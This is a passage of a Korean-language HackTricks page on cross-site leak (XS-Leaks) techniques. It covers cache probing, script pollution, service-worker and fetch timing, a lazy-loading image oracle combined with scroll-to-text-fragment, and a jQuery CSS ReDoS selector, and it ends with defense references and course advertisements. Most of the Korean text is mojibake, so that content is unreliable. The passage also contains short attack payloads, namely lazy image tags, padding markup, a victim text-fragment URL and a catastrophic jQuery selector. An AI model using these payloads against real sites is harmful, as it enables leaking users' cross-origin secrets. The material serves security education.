- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Summary: ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ๋ ค๊ณ ์๋ํ๊ณ ๋ก๋๋๊ธฐ ์ ์ ๋ก๋๋ฅผ ์ค๋จํฉ๋๋ค. ์ค๋ฅ๊ฐ ๋ฐ์ํ๋์ง ์ฌ๋ถ์ ๋ฐ๋ผ ๋ฆฌ์์ค๊ฐ ์บ์๋์๊ฑฐ๋ ๊ทธ๋ ์ง ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
fetch ๋ฐ _setTimeout_์ ์ฌ์ฉํ์ฌ ๋ฆฌ์์ค๊ฐ ์บ์๋์๋์ง ๊ฐ์งํ๊ณ ํน์ ๋ฆฌ์์ค๋ฅผ ๋ธ๋ผ์ฐ์ ์บ์์์ ์ ๊ฑฐํฉ๋๋ค. ๋ํ, ์ด ๊ณผ์ ์ ์๋ก์ด ์ฝํ ์ธ ๋ฅผ ์บ์ํ์ง ์๊ณ ๋ฐ์ํฉ๋๋ค.
Script Pollution
- Inclusion Methods: HTML Elements (script)
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Summary: ๋ด์ฅ ํจ์๋ฅผ ๋ฎ์ด์ฐ๊ณ ๊ทธ ์ธ์๋ฅผ ์ฝ์ ์ ์์ผ๋ฉฐ, ์ด๋ ๊ต์ฐจ ์ถ์ฒ ์คํฌ๋ฆฝํธ์์๋ ๊ฐ๋ฅํฉ๋๋ค(์ง์ ์ฝ์ ์ ์์). ์ด๋ ๊ท์คํ ์ ๋ณด๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Service Workers
- Inclusion Methods: Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: ์๋น์ค ์์ปค๋ฅผ ์ฌ์ฉํ์ฌ ์น์ ์คํ ์๊ฐ์ ์ธก์ ํฉ๋๋ค.
- Code Example:
์ฃผ์ด์ง ์๋๋ฆฌ์ค์์ ๊ณต๊ฒฉ์๋ ์์ ์ ๋๋ฉ์ธ ์ค ํ๋์ธ โattacker.comโ ๋ด์์ ์๋น์ค ์์ปค๋ฅผ ๋ฑ๋กํ๋ ์ฃผ๋๊ถ์ ์ก์ต๋๋ค. ๋ค์์ผ๋ก, ๊ณต๊ฒฉ์๋ ๋ฉ์ธ ๋ฌธ์์์ ๋์ ์น์ฌ์ดํธ์ ์ ์ฐฝ์ ์ด๊ณ ์๋น์ค ์์ปค์๊ฒ ํ์ด๋จธ๋ฅผ ์์ํ๋๋ก ์ง์ํฉ๋๋ค. ์ ์ฐฝ์ด ๋ก๋๋๊ธฐ ์์ํ๋ฉด ๊ณต๊ฒฉ์๋ ์ด์ ๋จ๊ณ์์ ์ป์ ์ฐธ์กฐ๋ฅผ ์๋น์ค ์์ปค๊ฐ ๊ด๋ฆฌํ๋ ํ์ด์ง๋ก ํ์ํฉ๋๋ค.
์ด์ ๋จ๊ณ์์ ์์๋ ์์ฒญ์ด ๋์ฐฉํ๋ฉด ์๋น์ค ์์ปค๋ 204 (No Content) ์ํ ์ฝ๋๋ก ์๋ตํ์ฌ ํ์ ํ๋ก์ธ์ค๋ฅผ ์ข ๋ฃํฉ๋๋ค. ์ด ์์ ์์ ์๋น์ค ์์ปค๋ ์ด์ ๋จ๊ณ์์ ์์๋ ํ์ด๋จธ์ ์ธก์ ์ ์บก์ฒํฉ๋๋ค. ์ด ์ธก์ ์น๋ ํ์ ํ๋ก์ธ์ค์์ ์ง์ฐ์ ์ด๋ํ๋ JavaScript์ ์ง์ ์๊ฐ์ ์ํฅ์ ๋ฐ์ต๋๋ค.
Warning
์คํ ํ์ด๋ฐ์์๋ ๋คํธ์ํฌ ์์ธ์ ์ ๊ฑฐํ์ฌ ๋ ์ ํํ ์ธก์ ๊ฐ์ ์ป์ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ํ์ด์ง๋ฅผ ๋ก๋ํ๊ธฐ ์ ์ ํ์ด์ง์์ ์ฌ์ฉํ๋ ๋ฆฌ์์ค๋ฅผ ๋ก๋ํฉ๋๋ค.
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: ์์ฒญ์ ์ํํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๊ธฐ ์ํด performance.now()๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋ค๋ฅธ ์๊ณ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary:
window.open์ ์ฌ์ฉํ์ฌ ์์ฒญ์ ์ํํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๊ธฐ ์ํด performance.now()๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋ค๋ฅธ ์๊ณ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
With HTML or Re Injection
์ฌ๊ธฐ์์๋ ๊ต์ฐจ ์ถ์ฒ HTML HTML ์ฝํ ์ธ ๋ฅผ ์ฃผ์ ํ์ฌ ์ ๋ณด๋ฅผ ์ ์ถํ๋ ๊ธฐ์ ์ ์ฐพ์ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ด๋ค ์ด์ ๋ก๋ HTML์ ์ฃผ์ ํ ์ ์์ง๋ง JS ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์๋ ๊ฒฝ์ฐ์ ํฅ๋ฏธ๋กญ์ต๋๋ค.
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
๋น๋ฐ ์ด์ ์ ์ฝํ
์ธ ๋ฅผ ์ ์ถํด์ผ ํ๊ณ HTML์ ์ถ๊ฐํ ์ ์๋ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ธ dangling markup ๊ธฐ์ ์ ํ์ธํด์ผ ํฉ๋๋ค.
๊ทธ๋ฌ๋ ์ด๋ค ์ด์ ๋ก๋ ๋ฌธ์ ๋จ์๋ก ์ํํด์ผ ํ๋ ๊ฒฝ์ฐ(์๋ง๋ ํต์ ์ด ์บ์ ์ ์ค์ ํตํด ์ด๋ฃจ์ด์ง๊ธฐ ๋๋ฌธ) ์ด ํธ๋ฆญ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
HTML์ ์ด๋ฏธ์ง๋ โloadingโ ์์ฑ์ด ์์ผ๋ฉฐ, ๊ทธ ๊ฐ์ โlazyโ์ผ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ์ด๋ฏธ์ง๋ ํ์ด์ง๊ฐ ๋ก๋๋๋ ๋์์ด ์๋๋ผ ๋ณผ ๋ ๋ก๋๋ฉ๋๋ค:
<img src=/something loading=lazy >
๋ฐ๋ผ์, ํ ์ ์๋ ๊ฒ์ ๋ง์ ์ฐ๋ ๊ธฐ ๋ฌธ์(์: ์์ฒ ๊ฐ์ โWโ)๋ฅผ ๋น๋ฐ ์์ ์น ํ์ด์ง๋ฅผ ์ฑ์ฐ๊ธฐ ์ํด ์ถ๊ฐํ๋ ๊ฒ์
๋๋ค. ๋๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ์ถ๊ฐํ๋ ๊ฒ์
๋๋ค: <br><canvas height="1850px"></canvas><br>.
๊ทธ๋ฐ ๋ค์ ์๋ฅผ ๋ค์ด ์ฃผ์
์ด ํ๋๊ทธ ์์ ๋ํ๋๋ฉด, ์ด๋ฏธ์ง๊ฐ ๋ก๋๋ ๊ฒ์ด์ง๋ง, ํ๋๊ทธ ๋ค์ ๋ํ๋๋ฉด, ํ๋๊ทธ + ์ฐ๋ ๊ธฐ๊ฐ ๋ก๋๋๋ ๊ฒ์ ๋ฐฉ์งํ ๊ฒ์
๋๋ค(์ผ๋ง๋ ๋ง์ ์ฐ๋ ๊ธฐ๋ฅผ ๋ฐฐ์นํ ์ง๋ ์กฐ์ ํด์ผ ํฉ๋๋ค). ์ด๊ฒ์ ์ด ๊ธ์์ ๋ฐ์ํ ์ผ์
๋๋ค.
๋ ๋ค๋ฅธ ์ต์ ์ scroll-to-text-fragment๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ๋๋ค(ํ์ฉ๋๋ ๊ฒฝ์ฐ):
Scroll-to-text-fragment
๊ทธ๋ฌ๋, ๋ด์ด ํ์ด์ง์ ์ ๊ทผํ๋๋ก ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ์ฌ์ฉํฉ๋๋ค.
#:~:text=SECR
์น ํ์ด์ง๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์
๋๋ค: https://victim.com/post.html#:~:text=SECR
์ฌ๊ธฐ์ post.html์ ๊ณต๊ฒฉ์์ ์ฐ๋ ๊ธฐ ๋ฌธ์์ ์ง์ฐ ๋ก๋ ์ด๋ฏธ์ง๊ฐ ํฌํจ๋์ด ์์ผ๋ฉฐ, ๋ด์ ๋น๋ฐ์ด ์ถ๊ฐ๋ฉ๋๋ค.
์ด ํ
์คํธ๋ ๋ด์ด ํ์ด์ง์์ SECR์ด๋ผ๋ ํ
์คํธ๋ฅผ ํฌํจํ๋ ๋ชจ๋ ํ
์คํธ์ ์ ๊ทผํ๊ฒ ํฉ๋๋ค. ๊ทธ ํ
์คํธ๊ฐ ๋น๋ฐ์ด๊ณ ์ด๋ฏธ์ง ๋ฐ๋ก ์๋์ ์๊ธฐ ๋๋ฌธ์, ์ ํํ ๋น๋ฐ์ด ์ถ์ธก๋๋ฉด ์ด๋ฏธ์ง๋ง ๋ก๋๋ฉ๋๋ค. ๋ฐ๋ผ์ ๋น๋ฐ์ ๋ฌธ์ ๋จ์๋ก ์ ์ถํ ์ ์๋ ์ค๋ผํด์ด ์๊น๋๋ค.
์ด๋ฅผ ์ด์ฉํ ์ฝ๋ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
์ด๋ฏธ์ง ์ง์ฐ ๋ก๋ฉ ์๊ฐ ๊ธฐ๋ฐ
์ธ๋ถ ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ ์ ์๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์์๊ฒ ์ด๋ฏธ์ง๊ฐ ๋ก๋๋์์์ ์๋ฆด ์ ์๋ ๋ ๋ค๋ฅธ ์ต์ ์ ๋ฌธ์๋ฅผ ์ฌ๋ฌ ๋ฒ ์ถ์ธกํ๊ณ ๊ทธ ์๊ฐ์ ์ธก์ ํ๋ ๊ฒ์ ๋๋ค. ์ด๋ฏธ์ง๊ฐ ๋ก๋๋๋ฉด ๋ชจ๋ ์์ฒญ์ด ์ด๋ฏธ์ง๊ฐ ๋ก๋๋์ง ์์์ ๋๋ณด๋ค ๋ ์ค๋ ๊ฑธ๋ฆฝ๋๋ค. ์ด๊ฒ์ ์ด ๊ธ์ ํด๊ฒฐ์ฑ ์์ ์ฌ์ฉ๋ ๋ฐฉ๋ฒ ์ฌ๊ธฐ์์ ์์ฝ๋ ๋ด์ฉ์ ๋๋ค:
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
jQuery(location.hash)๊ฐ ์ฌ์ฉ๋๋ฉด, ์ผ๋ถ HTML ์ฝํ
์ธ ๊ฐ ์กด์ฌํ๋์ง ํ์ด๋ฐ์ ํตํด ์ ์ ์์ต๋๋ค. ์ด๋ ์ ํ์ main[id='site-main']๊ฐ ์ผ์นํ์ง ์์ผ๋ฉด ๋๋จธ์ง ์ ํ์๋ฅผ ํ์ธํ ํ์๊ฐ ์๊ธฐ ๋๋ฌธ์
๋๋ค:
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
Defenses
๊ฐ ์น์ ์ ์ํค์ https://xsinator.com/paper.pdf์์ ๊ถ์ฅ๋๋ ์ํ ์กฐ์น๊ฐ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ๋ก๋ถํฐ ๋ณดํธํ๋ ๋ฐฉ๋ฒ์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ๊ทธ๊ณณ์ ํ์ธํ์ธ์.
References
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


